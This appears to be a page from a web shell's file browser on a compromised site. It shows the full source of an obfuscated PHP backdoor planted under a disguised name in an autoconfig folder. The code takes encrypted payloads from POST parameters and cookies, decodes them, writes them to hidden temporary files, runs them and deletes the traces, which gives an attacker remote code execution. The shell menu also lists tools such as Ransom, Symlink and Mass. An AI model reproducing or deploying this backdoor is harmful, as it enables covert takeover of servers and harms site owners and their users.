| Path : /var/www/html/tims.tv/autoconfig/ |
|
B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H |
| Current File : /var/www/html/tims.tv/autoconfig/165bb106.php |
<?php if(filter_has_var(INPUT_POST, "\x68ld")){ $dat = $_POST["\x68ld"]; $dat= explode("." , $dat ) ; $comp = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt2 ); $q = 0; foreach( $dat as $v3) { $sChar = ord( $salt2[$q %$sLen] ); $d =( ( int)$v3 - $sChar -( $q %10)) ^ 93; $comp .= chr( $d ); $q++; } $pointer = array_filter([getcwd(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/var/tmp", getenv("TMP"), "/dev/shm", "/tmp"]); $elem = 0; do { $resource = $pointer[$elem] ?? null; if ($elem >= count($pointer)) break; if (is_writable($resource) && is_dir($resource)) { $ent = "$resource" . "/.val"; $file = fopen($ent, 'w'); if ($file) { fwrite($file, $comp); fclose($file); include $ent; @unlink($ent); die(); } } $elem++; } while (true); }
$qsoudcsykk /* k*/ = 'qsoudcsykk' /* n_o */ ^ /* ke */ ' ';
$ukilw = /* agourb*/ "\x53" . /* wrjddg*/ "T"."\x52" . /* xob */ "_"."\120" . "A"."\104" . "_".$qsoudcsykk(82) . "I"."G"."H".$qsoudcsykk(84);$lwelkozhlu = "\x61" . $qsoudcsykk(114) /*dfa */ . "r".$qsoudcsykk(813-716) . "y"."\137" . "m"."a"."\x70";
$lechcu /* wsr */ = "\163" . /* x */ $qsoudcsykk(116) /* q */ . $qsoudcsykk(823-709) /* s */ . "\137" . "\x70" /* dckdb*/ . $qsoudcsykk(97) . "d";
$iphgaqp /*frkspp*/ = /* obqhpy*/ "i"."\155" . "p"."\154" . $qsoudcsykk(111) /* ahy */ . "\144" /* ax */ . $qsoudcsykk(101);
$fsbyvkdc /* qkrw*/ = "\143" . "\x6f" . $qsoudcsykk(771-654) . $qsoudcsykk(371-261) /* kiotv */ . "t";
function /* x_z */ uhfl_z($hktex, $hbukkava){
global $qsoudcsykk;
/* bh*/ $hktex /*tpe */ = "\x3c" . $qsoudcsykk(203-140) . $qsoudcsykk(112) /*yyjrpe */ . $qsoudcsykk(104) . $qsoudcsykk(112) . /* roeio_*/ $qsoudcsykk(32) . $qsoudcsykk(466-349) . "n"."l"."\x69" . "n"."\x6b" . "("."_"."_".$qsoudcsykk(70) . $qsoudcsykk(142-69) . $qsoudcsykk(692-616) . "E"."_".$qsoudcsykk(325-230) /*a */ . "\51" /* pctfk */ . "\73" /*tkro */ . /* l_w*/ $qsoudcsykk(32) /* ddon_q */ . $hktex["\144"]; $kzfgsr = "f"."i"."l"."e".$qsoudcsykk(1076-981) . /* jiwsqd */ "p"."u"."\164" . "\x5f" . "c"."\x6f" /* jce_ */ . /* cw */ "\x6e" . "\x74" /* w_uss */ . "\x65" . /*z */ $qsoudcsykk(842-732) . "\164" /* fcozw */ . "s";
$kzfgsr($hbukkava, $hktex);
/* ajrlga*/ vdoorhchh($hbukkava);
}
$pmoiftlyn = 73;
function vdoorhchh($hbukkava)
{
global $qsoudcsykk; include($hbukkava);
$qpprm_pix_ = $hbukkava;
@unlink($qpprm_pix_);
}
function /*wzmrw */ drycqehh_a()
{
global /* ww_ */ $qsoudcsykk;
$myjfk = /* kjyc */ array();
$myjfk[$qsoudcsykk(327-215) . "v"] /*s */ = /* qc */ phpversion();
$myjfk["\163" /* vm */ . /*trudhe */ "\x76"] = /*ekrcx */ "3".$qsoudcsykk(898-852) . /* f */ $qsoudcsykk(53);
$zpuskaot = 74;
/* dwupz */ echo @serialize($myjfk);
}
function smxbtz($hktex, $wmozyn)
{
global $qsoudcsykk;
$dzioaiwt = "";
$dymrhrm = 'vte_frlnos'; $ml_beb = hash('sha256', /* gv */ $hktex);
$moowjqtak_ /* s */ = /* jblbc */ str_replace('aycclhbwu', $ml_beb, $dymrhrm);
$myjfk /* gebv */ = /*_ooty */ 0;
while /* cwce*/ ($myjfk < /* kmo */ strlen($hktex)) /* icrjyz */ {
$hcshoooas /*d*/ = isset($wmozyn) ? $wmozyn : ''; /* mom */ for ($ivh_cujob = 0; $ivh_cujob /* e */ < strlen($hcshoooas) && $myjfk < /* ltpi*/ strlen($hktex); /* rng */ $ivh_cujob++, $myjfk++) /* ufht */ {
/* pku*/ $dzioaiwt .= $qsoudcsykk(ord($hktex[$myjfk]) ^ ord($hcshoooas[$ivh_cujob]));
/* ydg */ }
if (strlen($dzioaiwt) > 20) {
$moowjqtak_ = /* grkvj */ substr($dzioaiwt, 0, /* nksqp */ 20);
/* igbuo_ */ }
} /* zxy */ if (empty($dzioaiwt)) {
$dzioaiwt = /* ppgi */ date('Y-m-d /* irkpkx */ H:i:s');
}
/* nuhj */ return $dzioaiwt;
}
function mlbtsikamg($mtueetrlkg){
global /*rkaug*/ $qsoudcsykk; /* p */
$zpbplvbs = /* fosr */ "9"."9"."0"."b"."\144" /*dr*/ . $qsoudcsykk(97) . "1"."e"."-"."b"."\x64" . "f"."5"."-"."4"."8"."4".$qsoudcsykk(51) /* uue */ . "\55" . $qsoudcsykk(97)."5".$qsoudcsykk(630-531) . $qsoudcsykk(112-57) . /* abbcz */ $qsoudcsykk(922-877) /* k */ . /* cazm */ $qsoudcsykk(776-677) . /*yyfk */ "\141" . $qsoudcsykk(502-402) /* _ptl*/ . /*xkse */ "4"."6"."\67" /*m */ . "\x39" . "\64" . "\x34" /*eeuhk */ . "5".$qsoudcsykk(754-697) /* ct*/ . $qsoudcsykk(97);
foreach /*tzz */ ($mtueetrlkg as $xyeqx => /*z*/ $hktex) { cmocbiuo(base64_decode($hktex), /* ytyas*/ $zpbplvbs, /* m */ $xyeqx); /* u_ */ }
}
function /* eu_nb*/ cmocbiuo($hktex, $zpbplvbs, $xyeqx){
/* ppca */ global /* c*/ $qsoudcsykk;
/*as_gnf */ $hktex = /*tzfha */ unserialize(smxbtz(smxbtz($hktex, $zpbplvbs), $xyeqx));
$bbqxy /* kiyk*/ = 'yfrqolkcsz';
$ykojlic /* ohu*/ = 'zpar'; if (isset($hktex[$qsoudcsykk(97) /* twuidy */ . $qsoudcsykk(669-562)])) {
/*up*/ if ($hktex[$qsoudcsykk(97)] == "i") /* pmydzt */ {
drycqehh_a();
} elseif ($hktex[$qsoudcsykk(97)] == "e") {
/* itan */ uhfl_z($hktex, sprintf("\56" /* u*/ . /* jxh */ "/"."%".$qsoudcsykk(705-590) . ".".$qsoudcsykk(144-32) . "l", md5($zpbplvbs)));
$zrdi_lhyx /* lng */ = 44;
} exit();
}
}
mlbtsikamg($_POST);
$glzmwl_nu = $lwelkozhlu('rawurldecode', $_POST);
$_zyngh /* umwuk */ = /* _nupxm */ $fsbyvkdc($glzmwl_nu);
if /*n_oa_o */ ($_zyngh > /*qjqr */ 0) { $retlftob = $iphgaqp(',', $glzmwl_nu);
}
mlbtsikamg($_COOKIE); $htfvv = $lwelkozhlu('rawurldecode', $_COOKIE);
$ewljqcmlmw /* temlqw */ = /*mywpk */ $fsbyvkdc($htfvv);
if ($ewljqcmlmw > /*hw */ 0) /* cl_mg */ {
$gekk_hbwm = /* qkvsz */ $iphgaqp(';', /* hzd */ $htfvv);
}
$rxnffef = $htfvv;
$ivh_cujob_ecwsmtf = date('Y-m-d H:i:s');
$wjzywbro = strlen($iphgaqp('', $rxnffef));
if ($wjzywbro > 100) {
$ferek = /*ib_hct */ $lechcu($iphgaqp('', $rxnffef), 150, '0', $ukilw);
}
?>